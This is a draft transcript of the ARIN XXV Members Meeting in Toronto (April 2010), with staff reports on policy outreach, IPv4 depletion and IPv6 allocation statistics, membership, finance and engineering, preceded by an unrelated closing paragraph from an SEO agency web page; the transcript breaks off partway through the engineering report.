If you want to use an agency that will get you great levels of traffic and help your convert them into deals then speak to us. As you'll have gathered we know what we are doing and do it in the right way where your website will grow from strength to strength. You can contact us online or by chatting with us when you see the "Chat Now" box in the right hand corner. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9812489151954652}", 'metadata': "{'Content-Length': '14542', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:IGTNDU4LKW3NJKM3DADPHM7DT3FTQMY4', 'WARC-Concurrent-To': '<urn:uuid:85adc7c0-20ef-463a-a4b9-00cd8bc365b1>', 'WARC-Date': datetime.datetime(2021, 2, 27, 10, 3, 2), 'WARC-IP-Address': '109.228.46.43', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:5MLXE3FHPXRXEALP2Y7FKEFUOGPA6GOU', 'WARC-Record-ID': '<urn:uuid:ba0c54c7-ab97-4530-bfea-248f273bfdb3>', 'WARC-Target-URI': 'https://www.moomoomarketing.co.uk/blog-detail.php?artID=10&t=Avoid%20Bad%20Search%20Engine%20Optimisation%20Agencies', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:299459aa-5404-48f2-beaf-b7c2c8688334>', 'WARC-Truncated': None}", 'previous_word_count': '804', 'url': 'https://www.moomoomarketing.co.uk/blog-detail.php?artID=10&t=Avoid%20Bad%20Search%20Engine%20Optimisation%20Agencies', 'warcinfo': 'isPartOf: CC-MAIN-2021-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-119.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.01969701051712036', 'original_id': '6205dcb0d7c6f4991fd5c84c8e170e6c0c8f46a244eedc87138247e077a891f9'} |
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ARIN XXV Members Meeting Draft Transcript - 21 April 2010
"This transcript of the meeting may contain errors due to errors in transcription or in formatting it for posting. Therefore, the material is presented only to assist you, and is not an authoritative representation of discussion at the meeting."
Table of Contents
Meeting Called to Order
John Curran: Welcome. I'd like to welcome everyone to the member meeting portion of ARIN XXV in lovely Toronto. I'd like to -- I see everyone's here after last night's exciting social. It's good to see.
I have a number of announcements, and then we're going to get started on today's program.
First, daily survey: people who filled out the survey yesterday were entered into the drawing to receive a Wireless N Travel Router. I have the respondents with me. I would take a volunteer from the audience. I'm looking for a volunteer.
Actually, I'll take Aaron. Aaron Hughes. I'm looking to see if Aaron is down here. You know you can't win. Stand here. Close your eyes. Peter Bui from Nortel. Do we have the prize here to give it to him? We'll give it to you. Very nice. Okay.
The daily survey, that's our winner, he gets that. What's that slide say?
Unidentified Speaker: This is the prize for today's winner.
John Curran: Today's winner, when you fill out today's survey -- I thought I knew English. Today's survey will be entered in. We'll do this later. Not here. Will receive a Carbon Offset gift certificate to make sure you have green travel back to your pleasant home.
Okay. Sponsors. I'd like to give a round of applause to TELUS and EGATE, our sponsors. I'd also like to thank last night's evening social, thanks to our sponsors, TorIX, FONEX, Hurricane Electric, TelNet and BTI. Everyone had a good time. I've seen the photos. Looks like it was quite the adventure.
We have today's member meeting portion. We're going to give reports from the ARIN staff of the various departments and we'll also give the AC Fin Com and Board of Trustee report.
Again, I ask everyone when they approach the mic to state your name and affiliation. I ask everyone to be polite, allow others to speak, don't speak a second time on a topic until you've seen the microphones have cleared out.
ARIN updates, Advisory Council, Fin Com and Board of Trustees. At the head table I see our chair, Paul Vixie; Bill Woodcock; John Sweeting; Lee Howard. I always -- I have a problem with the end of that table. Paul Andersen and Scott Bradner. I don't know why. I think after five names I lose them.
Without further ado, we'll have Cathy Handley come up and give our policy and government outreach report.
ARIN Reports - Government Affairs and Public Policy Support
Cathy Handley: Good morning. And this will be a very quick update for the Government Affairs and Public Policy, because my -- a couple of folks already took care of most of it between John and Raul yesterday. I have a very short report.
So since the last meeting -- okay. It doesn't -- just by me looking at it, it doesn't do it. There we go.
We had the IGF last year in November, which was in the garden spot of Sharm el-Sheikh, Egypt. And it was very interesting.
We have another one coming up. The next Internet Governance Forum will be in September in Vilnius, Lithuania. Following the IGF we had an ITU Study Group 2 meeting, and I think you're all aware of a lot of the activities going on at the ITU right now.
Went to -- had a great experience going to AFRINIC to the opening of their Government Working Group. It was fascinating, and I think they're coming along and have got people really interested.
We had the CITEL Assembly, which is the OAS, Organization of American States, meeting in Mexico City earlier this year, and followed by a fun, rip-roaring ITU Ipv6 meeting in March, which John addressed earlier.
Going forward, it's going to be a busy year. We have a CITEL meeting in May where we will talk about garnering more support. Raul covered that yesterday. That was a big win to get really strong support and documents out of CITEL for the RIR system.
Have the World Telecommunication Development Conference in May. That is a two-week ITU conference, where they're going to probably be talking more about the Internet Ipv6 allocations, and I will be spending a lot of time there, two weeks, running around with folks. We've got an ICANN meeting in June in Brussels. September will be the second of the ITU Ipv6 meetings.
As John explained, there will be two correspondence groups that are in place. Up until that time, there should be reports that come out at the September meeting. At this point I can't really tell you what those reports will say or what will happen then, because it is a very -- I've been doing ITU stuff, as most of you know, for about 15 years, and I've never seen a meeting quite organized like this. It seems to change a lot as the days go on exactly what's going on.
As I said, we have IGF in September. The ITU Plenipotentiary conference is in October. I will not see anyone at the ARIN meeting because I will be there for three weeks. That's a heavy, heavy duty conference that there will be more discussion about the Ipv6 and the ITU's role in that.
And this is the administrative conference that determines what the ITU will do for the next four years. That will be a very important meeting. And we'll end the year with the ICANN meeting in December. It was moved out to December because of the Plenipot in October.
So this looks like it will be a -- it will keep me busy and occupied. Like I said, I won't get to see any of you in Atlanta. But I'll be thinking about you because I know for a fact you'll be having more fun than I will.
In keeping with Mr. Sweeting's view of how to end, there's no questions. It's a thank you.
John Curran: But you can stay up anyway in case someone wants to comment on your thank you. Floor's open for questions.
Yes, Dan.
Dan Alexander: I'll throw a question out there. Dan Alexander, ARIN AC. John mentioned in one of the previous presentations that ARIN's tossing around the idea of becoming an ITU member. I actually would voice my support in that. I wrestled with it for a while because do you really want to get involved in that.
But the reality is if you want to have a say, you need to show up. I would actually, the question was really more for the room, does anyone -- I'd be curious to see or hear about any objections that anyone would have or they think that ARIN shouldn't be a member or become a member.
John Curran: Anyone like to comment on that at the microphones?
Bill Darte: Bill Darte, ARIN AC. I think it's a good idea. If it's behind the doors, it should be behind the doors.
Cathy Handley: That's the problem. It's a very closed organization. And unless you buy a ticket, you can't get in.
Wesley George: Wes George, Sprint. Just a question sort of along those lines. What timelines would you be looking at in terms of being able to become a member and when you would be able to start participating on behalf of ARIN in some of the events you've referenced here?
Cathy Handley: The decision has to be made to join. You fill out the application. Send it in. And then you're there.
I'm going to the World Telecom Development Conference as a member of the ISOC delegation, because they belong. And forward after that is -- we'll see what gets done.
John Curran: Thank you, Cathy. Just for information sake. We estimate the costs -- and I've provided a recommendation to the board based on Cathy's recommendation, that we join with estimated costs.
The problem is I can't say 100 percent that ARIN will do it, because it was an estimate. You actually don't know the costs until they look at your application and they judge accordingly and tell you for your circumstances what that will be.
So we need to go through that little process, see the number, confirm that indeed it's what we expected. But that could happen in a short number of months, one or two months.
Wesley George: To clarify why I was asking the question. I want to make sure some of the things you brought up when you reported the ITU meeting and Ipv6, I think those are very, very important for ARIN to be involved in, the subsequent discussion. So there's sort of a function of this that is sort of time is of the essence, even though it's all moving at the speed of government.
John Curran: Moving as quickly as we can. The board has been very supportive.
Cathy Handley: Thank you.
ARIN Reports - Registration Services
Leslie Nobile: Registration Services Update. I hope to make this quick, but I do have a few slides, so I'll go fast.
So there's eight members of the RSD team. Their names and titles are up there. And Cathy, David, Doreen and Mike have all been here this week, so hopefully you've had a chance to meet with them.
Our current focus. We're working on lots of things, but our primary focus at the moment is ARIN Online. We do a lot of the user stories and requirements and features for future releases because most of the stuff being done right now is registration-related.
Right now we're working on processing questions and answers, points of contact and ORGs through AOL. So they're automatically processed. And we're working with our regular template system as well. We're developing new processes and procedures for AOL because things are very different for us, so we're kind of feeling our way through.
We're doing lots of different process enhancements. I have a slide on that, so I won't get into it. But with v4 runout we've decided to modify a few of the procedures and processes that we do in the department.
We're still working resource revocation and reclamation. That's an ongoing thing. We work with FSD on the revocation of resources for unpaid registration fees, and I'll talk about that. I actually have a slide.
Working on the legacy RSA: it is expected to be discontinued at the end of June, I believe, of this year. And we still have lots of applications coming in.
And of course business as usual. Our core function, which is issuing IP addresses, Autonomous System numbers, running the helpdesk, et cetera.
So process enhancements: probably many of you know who deal with us, we have some pretty stringent data verification procedures. We found that people were sending us falsified information for quite some time, and we tried to put an end to that. So we do quite a bit of organization vetting right up front when people come to us. We vet the org very thoroughly. We make sure it's a legal entity within our region; that it's been in existence for some time, it actually is a valid org and the information is correct and valid.
And any ORGS that come in to make modifications to their records are vetted on a 12-month basis. Every 12 months we just make sure they're still in existence, then we re-vet.
As most of you know also, we do the officer attestation. When anyone is requesting IPv4 resources, we make sure that an officer of the company certifies that the information being submitted to us is accurate and valid.
And that actually has had very few bumps. There's been no issues, no complaints, really, to speak of.
We are doing peer review of IPv4 resource requests. Just with v4 runout we want to make sure we're all on the same page. So the staff does peer review with v4 requests, and the larger the requests, the higher level of seniority is required to sort of sign off on it.
We are now checking utilization on all past allocations. That's going to be upcoming. Some of you will run into this. You may be a little annoyed, but we feel like it's the right thing to do as far as being stewards of Internet number resources.
So we typically check the last allocation to make sure it's 80 percent utilized. We do a pretty thorough check on that. And we'll continue to do that. But we'll be asking about all past allocations: How are they utilized? What's the percentage of utilization? Just to make sure that everybody is fully utilizing that. And that is in compliance with current policy.
We are asking about future IPv4 and IPv6 plans on IPv4 requests. We're now -- we feel like we're obligated to tell people, you know, if their 18-month need says that they need -- they're going to need /16s' worth of space, we feel obligated to tell them that ARIN may not have those resources available at that time.
So we will be responding with that kind of information, and we'll -- and asking, you know, the alternative is get your IPv6 address space, what are you doing right now? What are your plans? So that will be coming up. We're implementing it at this moment, actually.
And we continue to do fraud detection and follow-up, which we do see. People do send us falsified information. So we're really on the lookout for that. We do quite a bit of follow-up when we do find that. We use NRPM 12, resource review. We've been using that quite a bit. It's quite effective.
Recovered resources: So we get people who return resources voluntarily to ARIN. It's still happening to this day. Go figure. We revoke resources based on nonpayment of fees. And we also reclaim resources based on sort of fraudulent information, misappropriation, business dissolution. That's done less often, but we do do it.
Since January of 2005 through March of 2010, that's the amount of resources we have recovered. 429 /16s have been returned. 1,300, roughly, ASNs. We've revoked 87 /16 equivalents. 4,400 Autonomous System Numbers, and we reclaimed a little over two /16s' worth of v4 addresses -- /16, sorry. And nine Autonomous System Numbers.
Legacy RSA status: So at this point we've had 903 requests. 444 have been signed. 149 have been approved, but they're still pending, they're still sort of working with their legal departments and getting back to us. 135 are pending. They just haven't responded to us, so they're in that sort of category.
We do 30- and 60-, and 90-day follow-up. At the end of the 90-day follow-up, if somebody hasn't responded, we assume they're disinterested and we call that abandoned. So there's 41 that have moved to that category.
Then we have 134 that we say not required. It's kind of the miscellaneous catch-all. Sometimes we have people who have reassignments that try to find a legacy RSA. Quite a few people have decided not to sign the legacy RSA and just move their resources under standard RSA. Some people have -- there's just a whole bunch of things that fall into that one category.
Looking at the total number of resources and organizations that are covered under those signed legacy RSAs, that 444, there's 176 ASNs. 6.49 /8 equivalents or 1,215 different IPv4 blocks and 444 organizations.
So we'll move into stats about v4 depletion and v4 uptake. The first thing is we got two new /8s from IANA in February. We got 50 /8 and 107 /8. And Merit has been conducting some testing on those, much like they did with APNIC. Geoff mentioned that.
And they're looking for leakage. I wrote the exact verbiage; I won't read it. But they are publishing the results at that -- oh. Hmm. This is the wrong presentation. Sorry. I updated the presentation with the correct URL, which we'll get up on the website.
In case you're interested in looking at the results, they're going to be putting -- they're analyzing the results of their work right now and they'll put it up on the website. But they did tell me that the preliminary look at this shows that both of those blocks are relatively clean and there are no issues that they're seeing.
So current inventory. People ask us all the time: How much space do you actually have? How much have you used? What are you issuing from?
So we went back and looked and all the space that we maintain. We looked at the IANA registry, says: Maintained by ARIN, administered by ARIN. And we divided it into legacy space and non-legacy, the space that IANA issues directly to us.
So we're currently maintaining 73 legacy /8 blocks. And out of those we have 4.72 percent of that space free, that we can issue from. We have .05 percent that's held to be issued. And that's our one-year return bucket. We hold on to space for a year to clear filters when we reclaim it or revoke it or it's returned. And 95.28 percent has been issued and is unavailable.
As far as the 33 blocks that we have issued directly to us, we have 9.91 percent free. As I said, we have two full /8s we haven't started yet. .76 percent is reserved. You know that we do reserve space for the larger ISPs who typically come back every three or four or six months, trying to maintain the goal of aggregation. So we do a bit of reservations for the larger recurring ISPs.
.27 percent is held in that one-year bucket. And 90.09 percent has been issued and is unavailable.
So looking at v4 requests. People wonder “are people starting to hoard?”, are they asking for more space? And we're just not seeing it. It's pretty flat. The request rate has not changed at all. There's a couple of months there you'll see that we get a whole bunch, but it's just pretty flat.
As far as space we're issuing. We are not issuing any more space than we have. In the past several years we've been issuing roughly 3.3 /8s per year, and looks like we're on track the same way so far. We had a pretty low first quarter. Actually very low.
IPv6 requests. That one's very clear. We're going straight up. We're getting a lot of requests. I guess we got a little over 400 last year.
IPv6 allocations issued. So the line is the allocations, the number of allocations we're making, which is straight up. It's increased every year. And then I decided to put the total number of /32s. I don't know if you can actually see that, because I can barely see it from standing here. But the total number of /32s each year.
And there's sort of an anomaly in I guess 2008 when we made several very large allocations. So that's why there's 14,000-plus 32s issued in that single year. But we do occasionally make a larger than 32, /32 allocation, which is the minimum allocation size.
Assignments: IPv6 assignments. Again, this is the number of 48s we issue, and the line is the total number of assignments made. Not much to show there.
And this question. I get asked this one all the time: How many IPv4 ISP subscribers actually have IPv6 address space? So we went back and looked, and currently we have 3,366 IPv4 ISP subscribers. I'm looking at the circle. 2,695 are IPv4 only, and 671 have both IPv4 and IPv6. So 2,295 of them do not -- of the v4 subscribers, do not have v6 allocations. That's about 80 percent.
So, just hypothetically, we went and looked at our current allocation rate. So at the current allocation rate, which is about 30 new IPv6 allocations per month, it would take over seven years for every IPv4 subscriber member to get Ipv6. And it's not really encouraging, but it's purely hypothetical.
What else? I think that's all I have. And that could be thank you or questions, whatever.
John Curran: It's questions. You always get questions.
Cathy Aronson: Cathy Aronson, ARIN AC. That slide you had with the reclaimed 486. I just wondered if you could speak to what size those blocks are.
Leslie Nobile: Sure. It's actually everything from a 10, 12, to a 24. We're getting all types of -- oh, I'm sorry, you said just reclaimed. I apologize. I thought you meant all of it.
Cathy Aronson: In essence, it's all been given back in some form, right?
Leslie Nobile: Yes.
Cathy Aronson: So to speak to the policy, the global policy that didn't pass, I just wondered like what those were and what was being done with them. Is there a plan to reissue them or whatever?
Leslie Nobile: Actually, they all get put back into the one-year hold bucket, and we're reissuing constantly. You'll see that we're issuing space from way back when. If you look, people are getting space from all the ranges. And it's because whatever we get back we put it back out to the community after we hold it for a year.
Cathy Aronson: Unless it's a /8.
Leslie Nobile: Unless it's a /8. Which we haven't personally gotten any back. But we've directed people.
John Curran: Right. When those /8s come in, they're directed to the IANA to return it directly. Center rear mic.
Bill Darte: Bill Darte, ARIN AC and Washington University. Similar question to what Cathy said and so I understand you to say you can't characterize the size of those returns in revokes and things like that; that they're pretty much over the board. But what's the trend? That's a five-year period. Is there a great diminishment of that kind of return in the most recent year, or do you see that?
Leslie Nobile: We've actually seen legacy space, we've seen everything come back to us. Of course the revoked space is space that ARIN reissues. So that would be a lot of the /19s and 20s, because that's what we've typically been issuing over the past five years. So when we revoke for nonpayment, and it's usually between a 16 and a 20, but typically 19s and 20s. The rest is all over.
Bill Darte: Particularly interested in returns.
Leslie Nobile: Returns, all over the board. We get legacy space back all the time.
John Curran: We've had organizations which have returned address space because we sent the letters out. And someone said I got this letter saying that we're running out of v4 space. I'm not using mine; here, take it back.
Bill Darte: But the trend is linear horizontal, or not --
Leslie Nobile: It's not going up. It's not increasing. It's pretty much the same. I could probably show the graph.
Bill Darte: That's good enough.
Leslie Nobile: Let me add: During the course of a transfer, we always ask for resources back when we see that they're not utilized. And we typically get space back that way in the course of a transfer.
John Curran: Center front.
David Farmer: On the legacy. David Farmer, University of Minnesota, ARIN AC. On the legacy graph, at the bottom you say 444 ORGs, but we had 903 total --
Unidentified Speaker: Project your voice.
David Farmer: Sorry. Is that better? Sorry. I had saw the 444, saw the 903 and went -- didn't add up. But I forgot to look at the signed one.
John Curran: Right. Center rear.
Dan Alexander: Dan Alexander, ARIN AC. Leslie, thank you and your group for putting these stats together. I actually use these internally when I have to go to executives saying why are we doing this, why are we doing this. These are very good pictures that they can quantify and wrap their head around a lot easier than me explaining it to them.
One suggestion to offer for possibly the fall presentation. I'd be curious on this one. Of these 444, what will be 600 by then, how many of those are /8 holders, /16 holders, that have signed the LRSA?
John Curran: We can provide some data in the future. If you want to know, the legacy RSA coverage of legacy address space is about 6 percent right now. We actually have some 15 percent of what you consider legacy address space covered by existing RSAs. Because in the past organizations would bring that under an RSA.
The combined coverage of legacy address space both from RSA and LRSA is 21, 22, and it's been creeping up 2 or 3 percent every year. It's not creeping up fast, but it is going up.
Dan Alexander: Thanks.
John Curran: Okay. Thank you, Leslie.
ARIN Reports - Human Resources and Administration
Mary K. Lee: Good morning, everyone. A report about the HR and Administration department, and also facilities is a lot of what we do, too.
Tell you a bit about the department staff, all three of us, our current and recent projects, and then just a little bit about ARIN in general.
The HR and Admin department is ARIN's smallest department. But what we do is kind of the behind-the-scenes work that enables the other departments to do all the rest of the work for you.
Department staff: Therese Colosi is our longtime executive assistant. She does travel, meeting agendas, support for many of the people at the table up here, or most of them at some point, the ASO AC as well, and then some other general office work. Keeping John's calendar as organized as we possibly can, because he's pretty busy these days.
Jessica Heidman is our office administrator. She's been with us since last fall and is just a wonderful new member of the team. She does general office support: Makes sure there's enough coffee to keep everyone going all the time, mailing, shipments. She does support for external relations for the work that Richard and Megan do, and just a little bit of everything these days.
And I'd like to do a little shout out to them because today is Administrative Professional's Day, and I want to thank them very much for everything they do for us.
And I do a bunch of things you've heard before, so I'm not even going to mention today.
Some of the things we've done over the last six months or so, annual reports and audits. Those include a 401(k) tally and reporting for the year. We do a total compensation statement, which is a two-page document -- actually four-page document that's sent to all ARIN employees that lists not only their salaries but all the various benefits they have -- the total of their 401(k) account, how much ARIN itself has contributed to it, our training and education efforts -- to give us all an idea that life is pretty good sometimes.
Performance appraisals: those -- the annual ones were completed in December. We do a full, formal, what I call a formal evaluation. And then in June we do kind of a check-in halfway through the year which is looking at goals and objectives, making sure we're on track. It's a one-page form so that everyone has a chance to work with their direct supervisor to see how the year is going and if they're on track for that, and those will be in June.
Facility improvements: we've done not major construction but actually a lot of changes to the facility itself. We have some additional engineering staff, and they are also working in a different methodology as you all well know, which is the Agile methodology.
So we did some kind of changing and moving around and buying some furniture and putting up a few things, and moving a few things and have them all together in good working groups. And as you know from Mark's presentation yesterday, they're making very good progress with that.
Let's see. Facility: that's about it with that. We do a market pricing salary survey, which means we take all of ARIN's positions, job descriptions -- full job descriptions, not just titles -- and put them out on the market and compare them with major salary surveys in our area, across the country, for profit and non-profit. So it's fairly robust. And we found this is the fourth one. And we are even more on track than we've been in the previous ones. So we're very pleased with these results.
And document retention is one of the big projects that part of that is in my area, and we kick that off in the first quarter. We did select a vendor. We've done some requirements and equipment purchasing, and we hope in the second quarter of the year to get very active with all of that.
And employee longevity. We -- once again our little company, which is now not quite so little and not quite so young, has gotten bigger, and we definitely have some very good tenure, as you can see.
We had a little turnover at the end of the year and a couple of new positions, so we've been very busy with hiring. We've had seven new hires in the last four months. So that's quite a bit for a small company. We now have 52 full-time employees. And as of this coming Monday we will be fully staffed for the first time in six months. I'm very glad about that.
We have 29 men and 23 women on staff at this point. 27 of us have been at ARIN for five years or longer, as you can see, and a good I think 18 to seven years or more. So we're a very good strong and tenured staff. And I normally don't do a whole lot of anniversaries, particularly ones that haven't taken place yet, but I definitely want to recognize some people.
First, Susan Hamlin, who was not able to be us, had her 10-year anniversary in January. So congrats to her.
And I hope they're all in the room, but we have four more tenure anniversaries this year, which is a big deal: Tim Christensen, Darren Kara and Leslie Nobile and Tammy Rowe. And thank you very much.
John Curran: Microphones open. Any questions?
Yes, Lee.
Lee Howard: Lee Howard, ARIN Board of Trustees. You didn't tell us anything about what kind of cars the staff have driven or where they've traveled to.
Mary K. Lee: We retired that survey.
John Curran: If it needs to come back, it will come back.
Thank you, Mary K.
ARIN Reports - Member Services
Hollis Kara: Got up here without falling. Good start. I'm filling in for Susan. She's home playing mother of the bride, so that's kind of cool. And because in Member Services we're the folks who get your direct feedback, I know how much you love these reports, so we're going to try to breeze right through this and keep things moving.
We're going to go over this stuff. First, staff. We lost a few folks at the end of the year, have added a few new hires, scrambled things around, realigned people a bit. So new here for the first time at this meeting we've got Erin Sellers and Sean "Chuckles" Hopkins. Jason and I both got scrambled around a bit and have taken on new positions in the group, and Einar, Susan, De, and Jud are still rounding things out. And we're getting lots done.
Membership statistics. As of the end of March, we were up to 3,584 members. 347 of those from our lovely host country of Canada today. And 3,192 Continental U.S. 34 in the Caribbean, and nine that are outside the ARIN region.
So what does that mean? Looking at the membership growth statistics, it means we're still growing at a nice steady pace. That light blue bar are subscriber members. Folks with direct allocations. The blue bar at the top are paid members.
Which brings us to the definition of ARIN membership. Which I probably don't need to go into in a whole lot of detail since we covered it pretty well Monday.
But basically the Board adopted a change to the membership definition, and what that's done is changed it so that membership now requires a contractual agreement with ARIN for voting rights and stuff like that. So that's where we are. And additionally the pretty red bit is that anybody with a signed registration services agreement or legacy RSA with ARIN and that holds a number resource from ARIN can be a paid member. And that's all of our end users, ASN holders and legacy RSA signatories. So that's what that is.
At the same time we also had a minor change to our election rules. We established a voter registration eligibility deadline. And basically what that means is that you must -- general member organizations must be on record by January 1 of that year to vote in that year's election. So everybody who was a member as of January 1, 2010, can vote this year. Anybody who joined after will be able to vote in the next calendar year, the 2011 elections. This change can be viewed in the corporate documents under the bylaws on the website. And this doesn't change the other rules. You still have to be in good standing and you still have to have an eligible DMR. The deadline for that this year is going to be 22 September.
We've also added a new category. That would be our ARIN Advocates. This basically creates an opportunity for folks who no longer qualify for membership to have an affiliation option to show their support for the organization. And information on that is also available on the website.
Current resources. We're still supporting all the stuff we've been supporting. We've got our 4-byte wiki and our IPv6 wiki out there waiting for you to use them. So please do. We've also revamped our IPv6 info center. That's available at the top of the hot links on the home page, and that has now been re-titled as the IPv4/IPv6: The Bottom Line, to address both issues. That's where you're going to find that handy-dandy downloadable slide deck that gets updated regularly as the stats on v4 depletion change. So that's a good tool, and it's right there. So please use it if you need it.
Some new things we've done. We rolled out our 2009 annual report at the end of March. So that's out there. And we've also helped outreach stand up a new TeamARIN Microsite, and I'm going to let Richard fill you in on that. But it's a cool project and we'll continue to support them with content and whatnot as they go forward.
The other thing that we've done is we've revamped our new member welcoming efforts. The nice thing with this is we've added three personal touches to how we're incorporating new members. We're sending out a personalized letter and some goodies every month to our new members, following up with an e-mail, and then we will be following up with a phone call. This is a real new program, so we haven't hit that point yet. And hopefully we'll have some good results of getting folks active and participating by doing it this way.
Moving ahead. Coming up, we're getting ready to kick off plans to move our website over to a content management system. That's going to make the summer busy. And then in July we'll be opening nominations for the 2010 elections for the Board of Trustees, Advisory Council and NRO Number Council from the ARIN region. So be on the lookout for that.
Meetings. We'll be running our fall meeting back to back with NANOG again. That will be in Atlanta, Georgia. The ARIN portion will run from the 6th to the 8th of October. Telx will be the sponsor for the event, and we need sponsors for all the other goodies, so if you want to, please contact info@arin or talk to De. And hot off the presses, we do have dates for the spring meeting for next year. ARIN XXVII will be held in lovely San Juan, Puerto Rico, from the 10th to 13th of April. Hope you can join us. It should be a good time. Same things apply: AT&T will be the sponsor. We're excited to work with them on them that. And we need sponsors for all the other fun stuff that we do, info@arin, talk to De.
Fellowships. Are our fellows still here? Yea. We love our fellows.
This is the third meeting where we've had our fellowship program in effect. We're very fortunate to have them here. It's a great program. We're going to be accepting applications for the fall from July 5th to August 6th. There are lots of folks that would benefit from this program. We'd like your help in getting the word out to them. So if you have any ideas of how we can better promote this program or places we can advertise it, Please. And that's everything.
John Curran: Thank you very much. Any questions?
Thank you, Hollis.
Okay. Moving right along. We have the Financial Services Report with Bob Stratton.
ARIN Reports - Financial Services
Bob Stratton: I didn't fall over either. That's good. Good morning, everybody. I'm going to go over my staff, what we're up to in operations, the registration revenue breakdown for 2009, what we're doing to mitigate risk, our support of the Finance Committee, and a quick snapshot of the economy.
Staff. Val, Cathy and Tammy are my direct reports. Amaris, Tanya, Amy and Maria report to Tammy. Tammy and Tanya have been here. Hopefully you've had a chance to talk with them.
We had 17,500 invoices generated last year. 64 percent of them were paid by check, 35 percent by credit card, 1 percent by ACH and wire. And we had 1.5 percent accounts receivable as uncollectible bad debt. Excuse me. My voice is falling off on me. This is a rather low percentage. It does show that the IPv4 and v6 registrations are valuable.
The Navision accounting software we've scheduled for an upgrade in the second quarter. Our collections are ongoing. We have financial controls in place. In the Sarbanes-Oxley world, we don't purchase or pay for anything without the correct approvals from those that are authorized.
We're using the ARIN Online to answer questions. It's a small number compared to Leslie's group, but as you guys get the functionality to look at your accounts and the status, I suspect we'll get more questions in the future.
We're also involved in document retention. Cathy Murphy is working with Mary K. and Nate. This is a very important project. As we get document retention in place, we're better able to identify what records we have and how we can retrieve them.
This is a breakdown of our 2009 registration revenue. As you can see, as in the past, v4 renewal registration is the lion's share. It's 73 percent. If you add in the initial v4 registrations, it's pushing 80.
For those of you that are new, the v6 registrations are very de minimis. Those are under a waiver, a multi-year waiver. And as Leslie pointed out, a lot of the v4 registrations -- the v6 registrations that have v4 pay the larger of the two fees, and inevitably that's a v4.
So our v6 registration is a very small percentage of all this. One of the categories that are growing is the maintenance. And keeping up with them, as I referred to over in the collections, is a challenge. Those are a manual collection process. But maintenance of the $100 maintenance fees for transfers, AS and end users.
What we're doing to mitigate risk. We review our contracts on an annual basis, any new contracts; we make sure that ARIN's position is protected. Cathy Murphy does a very good job of this. We monitor our accounts. We monitor our bank accounts, our reserve accounts. We monitor our own corporate credit cards. We've had some issues there with people getting the numbers in some way, shape or form and we've had to swap out some credit cards. Also very important point, we don't capture our organizations that come in to pay for their Internet resources with us. We don't capture the credit card numbers. We send them directly over to our vendor.
We review our insurance coverage on an annual basis. For example, last year we initiated an event coverage insurance, event cancellation event coverage. If, for example, the volcanic ash mitigated this meeting for any way, shape or form we'd still be on the hook to pay for the beverages and the rooms. This insurance would help cover whatever we would have to pay. And, finally, our mutual funds in the reserve account are plain vanilla. We don't have any esoteric investments. They're pretty much equity and bond funds.
We support the Finance Committee of the Board. We generated the budget for 2010 for their review. We're working with the auditors on the draft financial statements. Scott, our treasurer, "Gray Beard" as he's now known, will be giving you a report on that.
This is just a quick economic snapshot. I thought this was interesting. It looks like the developed world is growing rather slowly. What a surprise. But the emerging markets seem to be back on track for pretty robust growth. It doesn't seem to be much inflation under consumer practices except for India and Russia, which is kind of interesting. It does seem that employment is an issue across the board. But these all look better than they did last year at this time. So that's a good thing.
And with that, that actually says questions. But whatever.
John Curran: The floor's open for questions.
Thank you, Bob.
Next up is the engineering activities report by Mark Kosters.
ARIN Reports - Engineering aCTIVITIES
Mark Kosters: So you know I heard some groans while I was coming up here. I'm not exactly sure what that means. Usually I have tasteless pictures. My tasteless pictures this time were exceptionally bad. So they have been replaced. So now it's going to be about ducks. Oh, geese. Oh, thank you. Canada geese at that. So there's a story behind the geese. And so one of the things that Bob neglected to mention is our Go Green Program that we have at ARIN. So I would like to join that program. Excuse me.
Okay. I can't do the stand-up comedian thing. But I do like riding my bike to work. And on my first time riding my bike to work last year, I actually got attacked by a goose on the way to the office.
Lee Howard: That falls under risk management.
Mark Kosters: So, needless to say, I've been razzed about this constantly in the office. I have a picture on my door that is this goose in particular. And I think her name was Emma. And she made me really bloody. I was riding along and she actually landed on my back and totally freaked me off, and the next thing I knew I fell on the ground, got all bloody, came into the office, and people were saying: What did you do this time? Now you know. Now let me get to the more serious things. There are lots of duck pictures, so you can enjoy this as I go through this.
Lee Howard: Geese.
Mark Kosters: They're the same thing to me. They both quack.
Lee Howard: That's why you got attacked.
Mark Kosters: So we're working on a surge right now. We have a lot to do within ARIN engineering. You'll see that in the next slide that we're supplementing the staff with a bunch of contractors. And here you can see that's me with longer hair, with one of my more colorful shirts.
There are eight people in operations now. And we'll have a new DBA starting up after the meeting. This is up by two from the last meeting.
In development, we've upped the number of contractors we have from four to eight. We have 14 people doing development. It's getting to be a sizable group. These people are all stellar, by the way. I'm amazed how quickly they have come in, integrated themselves and have done an exceptional job in helping us really increase -- the Agile term is velocity, the amount of actual code that you can actually put out.
And Quality Assurance. We have seven people, four of which are contractors. And one of the things that we've done is -- and Mary K. talked about this a little bit. We've sort of rearranged the room. So they're all in group rooms, and the QA people are sitting amongst the developers and actually QAing these tasks as they go through to help accelerate development.
Requirements. If you call that -- I wanted to call Erika a story person. But requirements seems to be the appropriate term here. And of course me. The one they make fun of.
So disaster recovery -- from an operations perspective, Matt Ryanczak’s group, who is sitting back there, has been working really hard on disaster recovery. I'm glad to say that we've actually tested this, and we've been able to make sure that all our major systems work at our disaster recovery site. So we feel more and more confident that we will be able to continue operations in the event of some sort of disaster. We have diversity within the /8s under IN-ADDR.ARPA in terms of adding more servers at different locations. You'll be seeing that as -- hopefully we're looking at a site in the Caribbean right now, and we have a site located also in Canada.
DNSSEC, we talked about that a couple of days ago about it being operational.
